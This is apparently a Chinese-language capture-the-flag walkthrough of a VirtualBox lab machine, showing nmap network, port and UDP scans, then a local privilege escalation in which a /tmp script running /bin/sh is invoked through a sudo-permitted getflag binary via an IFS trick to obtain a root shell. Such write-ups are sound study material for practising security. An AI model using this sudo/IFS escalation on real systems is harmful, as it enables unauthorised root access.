┌──(root㉿kali)-[~/miaosec] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-09 16:17 +0800 Nmap scan report for 192.168.2.1 Host is up (0.00047s latency). MAC Address: 0A:00:27:00:00:07 (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00050s latency). MAC Address: 08:00:27:36:1B:8E (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.73 Host is up (0.00096s latency). MAC Address: 08:00:27:F4:83:39 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 7.49 seconds
靶机IP:192.168.2.73
2、端口扫描
1.全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -p- 192.168.2.73 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-09 16:17 +0800 Nmap scan report for 192.168.2.73 Host is up (0.00047s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 5000/tcp open upnp MAC Address: 08:00:27:F4:83:39 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 7.60 seconds
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -sT -sC -sV -O -p22,5000 192.168.2.73 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-09 16:18 +0800 Nmap scan report for 192.168.2.73 Host is up (0.00073s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.2 (protocol 2.0) 5000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.12) |_http-title: \xE4\xBA\x91\xE7\xAB\xAF\xE6\xAD\x8C\xE8\xAF\x8D\xE6\x9C\xAC |_http-server-header: Werkzeug/3.1.3 Python/3.12.12 MAC Address: 08:00:27:F4:83:39 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19 Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.05 seconds
3.udp扫描
1 2 3 4 5 6 7 8 9 10
┌──(root㉿kali)-[~/miaosec] └─# nmap -sU --top-ports 100 192.168.2.73 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-09 16:18 +0800 Nmap scan report for 192.168.2.73 Host is up (0.0013s latency). All 100 scanned ports on 192.168.2.73 are in ignored states. Not shown: 57 closed udp ports (port-unreach), 43 open|filtered udp ports (no-response) MAC Address: 08:00:27:F4:83:39 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 57.39 seconds
tuf@tmp:/$ cd /tmp tuf@tmp:/tmp$ vi tmp tuf@tmp:/tmp$ cat tmp #!/bin/bash /bin/sh
并赋予执行权限
1
tuf@tmp:/tmp$ chmod 755 tmp
然后执行,就能获取到root权限
1 2 3 4 5
tuf@tmp:/tmp$ sudo /usr/local/bin/getflag IFS . /tmp/tmp.jgNddl # ID /bin/sh: ID: not found /tmp/tmp.jgNddl # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)